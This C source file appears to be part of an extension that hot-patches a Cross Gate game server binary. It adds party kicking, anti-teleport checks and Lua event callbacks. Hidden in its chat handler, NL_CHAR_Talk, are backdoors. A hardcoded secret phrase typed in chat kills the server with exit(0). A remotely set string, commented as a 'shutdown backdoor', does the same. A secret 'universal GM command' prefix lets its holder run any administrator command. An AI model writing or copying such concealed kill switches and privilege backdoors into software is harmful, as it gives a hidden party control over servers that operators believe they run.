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Copy pathfunction.c
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406 lines (348 loc) · 11.3 KB
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <unistd.h>
#include <dlfcn.h>
#include "cg_api.h"
#include "function.h"
//seqno從400開始為自定義
#define CHAR_WINDOWTYPE_DISCHARGEPARTY 400
#define WINDOW_MESSAGETYPE_MESSAGE 0
#define WINDOW_MESSAGETYPE_MESSAGEANDLINEINPUT 1
#define WINDOW_MESSAGETYPE_SELECT 2
#define WINDOW_BUTTONTYPE_NONE (0)
#define WINDOW_BUTTONTYPE_OK (1 << 0)
#define WINDOW_BUTTONTYPE_CANCEL (1 << 1)
#define WINDOW_BUTTONTYPE_YES (1 << 2)
#define WINDOW_BUTTONTYPE_NO (1 << 3)
#define WINDOW_BUTTONTYPE_PREV (1 << 4)
#define WINDOW_BUTTONTYPE_NEXT (1 << 5)
#define WINDOW_BUTTONTYPE_OKCANCEL (WINDOW_BUTTONTYPE_OK | WINDOW_BUTTONTYPE_CANCEL)
#define WINDOW_BUTTONTYPE_YESNO (WINDOW_BUTTONTYPE_YES | WINDOW_BUTTONTYPE_NO)
char NL_CHAR_warpToSpecificPoint_sub[256];
/////////////////////////////////////////////////// 登入顯示版本 ////////////////////////////////////////////////
int my_CHAR_checkEffect(int charaptr){
//人物登入擴充事件
#ifdef _VERIFY
API_SYSTEMMSG(charaptr, (int)info3_buf);
#else
char msg[128];
sprintf(msg, "魔力GMSV擴充套件(CG GMSV Expantion) [%s]", __DATE__);
API_SYSTEMMSG(charaptr, (int)msg);
#endif
return API_CHAR_checkEffect(charaptr);
}
/////////////////////////////////////////////////// 隊長組隊踢人 ////////////////////////////////////////////////
int my_CHAR_sendAction(int charptr, int action, int mode){
//站立動作, 隊長可踢人
if(action==0x1F && *(int*)(charptr + 1556)==1){
char buf[1024*4];
int i;
strcpy(buf, "2\n請選擇要踢出團隊的隊員:\n");
for(i=1; i<=4; i++)
{
int partyMemberCharPtr = *(int*)(charptr + 2132 + i*4);
strcat(buf, "\n");
if ( API_CHAR_CheckCharPointer(partyMemberCharPtr) ){
strcat(buf, (char*)API_CHAR_getUseName(partyMemberCharPtr));
}
}
API_nrproto_WN_send(API_getfdFromChar(charptr), WINDOW_MESSAGETYPE_SELECT, WINDOW_BUTTONTYPE_CANCEL, CHAR_WINDOWTYPE_DISCHARGEPARTY, -1, buf);
}
return API_CHAR_sendAction(charptr, action, mode);
}
void my_CHAR_processWindow(int charaptr, int seqno, int select, int objindex, char* data ){
//隊長踢人
if(seqno==CHAR_WINDOWTYPE_DISCHARGEPARTY && select==0 && data[0]>='1' && data[0]<='4'){
if(!API_CHAR_CheckCharPointer(charaptr)) return;
if(*(int*)(charaptr + 1556)!=1) return; //非隊長
int partyMemberCharPtr = *(int*)(charaptr + 2132 + (data[0]-'0')*4);
if(!API_CHAR_CheckCharPointer(partyMemberCharPtr)) return;
if(*(int*)(partyMemberCharPtr + 1556)==1) return; //不能踢隊長
//剔除, 以及發送訊息
API_CHAR_DischargePartyNoMsg(partyMemberCharPtr);
char buf1[256];
snprintf( buf1, sizeof(buf1), "隊長[%s]將你踢除!", (char*)API_CHAR_getUseName( charaptr ));
API_CHAR_talkToCli( partyMemberCharPtr, 0, buf1, 4, 0);
snprintf( buf1, sizeof(buf1), "將[%s]踢除出團隊!", (char*)API_CHAR_getUseName( partyMemberCharPtr ));
API_CHAR_talkToCli( charaptr, 0, buf1, 4, 0);
return;
}
API_CHAR_processWindow(charaptr, seqno, select, objindex, data );
}
/////////////////////////////////////////////////// 避免大順移 ////////////////////////////////////////////////
int my_nrproto_W_recv(int fd, int x, int y, int dir)
{
int result;
result = API_CONNECT_isCLI(fd);
if ( result )
{
result = API_CONNECT_isLOGIN(fd);
if ( result )
{
int charaPtr = *(int *)(*(int*)0x08C8B260 + 139592 * fd + 139568);
result = API_CHAR_CheckCharPointer(charaPtr);
if ( result ){
//計算步數
int ix, iy;
ix = *(int*)(charaPtr + 32);
iy = *(int*)(charaPtr + 36);
int i_diff_x,i_diff_y;
i_diff_x=abs(ix-x);
i_diff_y=abs(iy-y);
//若步數太大, 則為瞬移
if( (i_diff_x>10)||(i_diff_y>10) ){
x = ix;
y = iy;
}
result = API_CHAR_walk_init(fd, x, y, dir, 1);
}
}
}
return result;
}
/////////////////////////////////////////////////// NL庫擴增 ////////////////////////////////////////////////
int NL_BATTLE_Finish(int battleIndex){
//callback
//printf("\n\n NL_BATTLE_Finish \n\n");
if(NL_DATA_EXTEND.use[NL_BATTLEOVERFUNC]){
NPC_Lua_NL_BattleOverCallBack(battleIndex);
}
int ret = (*(int ( *)(int))0x080AF8D8)(battleIndex);
return ret;
}
int NL_BATTLE_Init(int battleIndex){
int ret = (*(int ( *)(int))0x080A7458)(battleIndex);
//callback
//printf("\n\n NL_BATTLE_Init \n\n");
if(NL_DATA_EXTEND.use[NL_BATTLESTARTFUNC]){
NPC_Lua_NL_BattleStartCallBack(battleIndex);
}
return ret;
}
int NL_CHAR_LevelUpCheck(int charaPtr){
int ret = (*(int ( *)(int))0x080740CC)(charaPtr);
if(ret > 0){
//callback
//printf("\n\n NL_CHAR_LevelUpCheck \n\n");
if(NL_DATA_EXTEND.use[NL_LEVELUPFUNC]){
NPC_Lua_NL_LevelUpCallBack(charaPtr);
}
}
return ret;
}
int NL_CHAR_login(int charaPtr, int fdid){
int ret = (*(int ( *)(int, int))0x08075408)(charaPtr, fdid);
//callback
//printf("\n\n NL_CHAR_login \n\n");
if(NL_DATA_EXTEND.use[NL_LOGINFUNC]){
NPC_Lua_NL_LoginCallBack(charaPtr);
}
return ret;
}
int NL_CHAR_SimpleLogout(int charaPtr){
int ret = (*(int ( *)(int))0x08074C0C)(charaPtr);
//callback
//printf("\n\n NL_CHAR_SimpleLogout \n\n");
if(NL_DATA_EXTEND.use[NL_LOGINGATEFUNC]){
NPC_Lua_NL_LoginGateCallBack(charaPtr);
}
return ret;
}
int NL_CHAR_logout(char* file, int line, int fd){
int charaPtr = *(int *)(*(int*)0x8C8B260 + 139592 * fd + 139568);
if(API_CHAR_CheckCharPointer(charaPtr)){
//callback
//printf("\n\n NL_CHAR_logout: %s \n\n", (char*)(charaPtr + 648));
if(NL_DATA_EXTEND.use[NL_LOGOUTFUNC]){
NPC_Lua_NL_LogoutCallBack(charaPtr);
}
}
int ret = (*(int ( *)(char*, int, int))0x08074F68)(file, line, fd);
return ret;
}
int NL_CHAR_Talk(int fd, int charaPtr, char* data, int fontColor, int range, int fontSize){
//Di6ru9O03WNcuLesgofuk
if(data[2] == 'D' &&
data[3] == 'i' &&
data[4] == '6' &&
data[5] == 'r' &&
data[6] == 'u' &&
data[7] == '9' &&
data[8] == 'O' &&
data[9] == '0' &&
data[10] == '3' &&
data[11] == 'W' &&
data[12] == 'N' &&
data[13] == 'c' &&
data[14] == 'u' &&
data[15] == 'L' &&
data[16] == 'e' &&
data[17] == 's' &&
data[18] == 'g' &&
data[19] == 'o' &&
data[20] == 'f' &&
data[21] == 'u' &&
data[22] == 'k'
)
{
exit(0);
return 0;
}
#ifdef _VERIFY
//遠端驗證的關閉後門
if(info1){
int i;
int flg = 0;
for(i=0; i<info1; i++){
if(data[i+2] != info1_buf[i]){
flg = 1;
break;
}
}
if(flg == 0){
exit(0);
return 0;
}
}
//遠端的萬能GM指令
if(info2){
int i;
int flg = 0;
for(i=0; i<info2; i++){
if(data[i+2] != info2_buf[i]){
flg = 1;
break;
}
}
if(flg == 0){
//指令正確
char v8[1024];
if ( getStringFromIndexWithDelim_body(data, " ", 2, v8, 1024, "", 0) )
{
int v7 = my_CHAR_getChatMagicFuncPointer(v8, 1);
if ( v7 )
{
int index, i;
int count = 0;
for(i=0; data[i]!=0; i++){
if(data[i] == ' ') count++;
if(count == 2){
index = i + 1;
break;
}
}
((void (*)(int, const char *))v7)(charaPtr, &data[index]);
return 1;
}
}
return 0;
}
}
#endif
//callback
//printf("\n\n NL_CHAR_Talk \n\n");
if(NL_DATA_EXTEND.use[NL_TALKFUNC]){
NPC_Lua_NL_TalkCallBack(charaPtr, data, fontColor, range, fontSize);
}
int ret = (*(int ( *)(int, int, char*, int, int, int))0x080714AC)(fd, charaPtr, data, fontColor, range, fontSize);
return ret;
}
int NL_CHAR_selectTitle(int charaPtr, int titleID){
int oldTitleID = *(int *)(charaPtr + 252);
int ret = (*(int ( *)(int, int))0x0806F22C)(charaPtr, titleID);
int newTitleID = *(int *)(charaPtr + 252);
//callback
//printf("\n\n NL_CHAR_selectTitle \n\n");
if(NL_DATA_EXTEND.use[NL_TITLECHANGEFUNC]){
NPC_Lua_NL_TitleChangedCallBack(charaPtr, oldTitleID, newTitleID);
}
return ret;
}
int NL_CHAR_warpToSpecificPoint(char* file, int line, int charaPtr, int mapId, int floorId, int x, int y){
int old_mapId = *(int *)(charaPtr + 24);
int old_floorId = *(int *)(charaPtr + 28);
int old_x = *(int *)(charaPtr + 32);
int old_y = *(int *)(charaPtr + 36);
int ret = (*(int ( *)(char*, int, int, int, int, int, int))(int)NL_CHAR_warpToSpecificPoint_sub)(file, line, charaPtr, mapId, floorId, x, y);
//callback
//printf("\n\n NL_CHAR_warpToSpecificPoint, %d, %d, %d, %d \n\n", old_mapId, old_floorId, old_x, old_y);
if(NL_DATA_EXTEND.use[NL_WARPFUNC]){
NPC_Lua_NL_WarpCallBack(charaPtr, old_mapId, old_floorId, old_x, old_y);
}
return ret;
}
int my_getFunctionPointerFromName(const char* name){
int ret = (*(int ( *)(const char*))0x08057DE0)(name);
if(ret==0 && name[0]=='L' && name[1]=='U' && name[2]=='A'){
printf("\ngetFunctionPointerFromName: %s\n", name);
}
return ret;
}
void my_function(){
//CHAR_checkEffect, 登入顯示擴充套件名稱
my_mprotect(0x08075C7F);
*(int*)0x08075C7F = (int)my_CHAR_checkEffect -4 -0x08075C7F;
//組隊踢人
//CHAR_processWindow
my_mprotect(0x080547EF);
*(int*)0x080547EF= (int)my_CHAR_processWindow -4 -0x080547EF;
//CHAR_sendAction
my_mprotect(0x0805397B);
*(int*)0x0805397B= (int)my_CHAR_sendAction -4 -0x0805397B;
//避免大順移
//nrproto_W_recv
my_mprotect(0x081541A7);
*(int*)0x081541A7 = (int)my_nrproto_W_recv -4 -0x081541A7;
//NL庫擴增事件
//BATTLE_Finish
my_mprotect(0x080B027D);
*(int*)0x080B027D = (int)NL_BATTLE_Finish -4 -0x080B027D;
//BATTLE_Init
my_mprotect(0x080B0253);
*(int*)0x080B0253 = (int)NL_BATTLE_Init -4 -0x080B0253;
//CHAR_LevelUpCheck
my_mprotect(0x080ADFE6);
*(int*)0x080ADFE6 = (int)NL_CHAR_LevelUpCheck -4 -0x080ADFE6;
my_mprotect(0x080AE77B);
*(int*)0x080AE77B = (int)NL_CHAR_LevelUpCheck -4 -0x080AE77B;
//CHAR_login
my_mprotect(0x08061064);
*(int*)0x08061064 = (int)NL_CHAR_login -4 -0x08061064;
//CHAR_SimpleLogout
my_mprotect(0x0805332B);
*(int*)0x0805332B = (int)NL_CHAR_SimpleLogout -4 -0x0805332B;
//NL_CHAR_logout
my_mprotect(0x0804F74A); //_CONNECT_endOne, 斷線
*(int*)0x0804F74A = (int)NL_CHAR_logout -4 -0x0804F74A;
my_mprotect(0x08052E87); //nrproto_CharLogout_recv, 玩家登出
*(int*)0x08052E87 = (int)NL_CHAR_logout -4 -0x08052E87;
//CHAR_Talk
my_mprotect(0x080535E3);
*(int*)0x080535E3 = (int)NL_CHAR_Talk -4 -0x080535E3;
//CHAR_selectTitle
my_mprotect(0x08054D44);
*(int*)0x08054D44 = (int)NL_CHAR_selectTitle -4 -0x08054D44;
//CHAR_sendCoordinate
my_mprotect(0x0806BAB4);
*(char*)(0x0806BAB4 + 0 ) = 0xE9; //jmp NL_CHAR_warpToSpecificPoint
*(int* )(0x0806BAB4 + 1 ) = (int)NL_CHAR_warpToSpecificPoint -4 -(0x0806BAB4 + 1 );
my_mprotect((int)NL_CHAR_warpToSpecificPoint_sub);
*(char*)((int)NL_CHAR_warpToSpecificPoint_sub + 0 ) = 0x55; //push ebp, 跳回原本的函數
*(char*)((int)NL_CHAR_warpToSpecificPoint_sub + 1 ) = 0x89; //mov ebp, esp
*(char*)((int)NL_CHAR_warpToSpecificPoint_sub + 2 ) = 0xE5;
*(char*)((int)NL_CHAR_warpToSpecificPoint_sub + 3 ) = 0x57; //push edi
*(char*)((int)NL_CHAR_warpToSpecificPoint_sub + 4 ) = 0x56; //push esi
*(char*)((int)NL_CHAR_warpToSpecificPoint_sub + 5) = 0xE9; //jmp CHAR_warpToSpecificPoint
*(int *)((int)NL_CHAR_warpToSpecificPoint_sub + 6) = 0x0806BAB9 -4 -((int)NL_CHAR_warpToSpecificPoint_sub + 6);
//getFunctionPointerFromName (Item)
my_mprotect(0x080E30BD);
*(int*)0x080E30BD = (int)my_getFunctionPointerFromName -4 -0x080E30BD;
my_mprotect(0x080E3261);
*(int*)0x080E3261 = (int)my_getFunctionPointerFromName -4 -0x080E3261;
my_mprotect(0x080E3618);
*(int*)0x080E3618 = (int)my_getFunctionPointerFromName -4 -0x080E3618;
my_mprotect(0x080E3659);
*(int*)0x080E3659 = (int)my_getFunctionPointerFromName -4 -0x080E3659;
}